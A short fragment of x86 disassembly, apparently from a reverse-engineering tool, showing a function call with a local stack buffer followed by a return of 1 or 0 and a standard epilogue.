push dword [ebp + 8]
mov edx, eax
lea ecx, [ebp - 0x320]
call fcn.00402197
xor eax, eax
pop ecx
inc eax
jmp 0x402231
xor eax, eax
mov esp, ebp
pop ebp
ret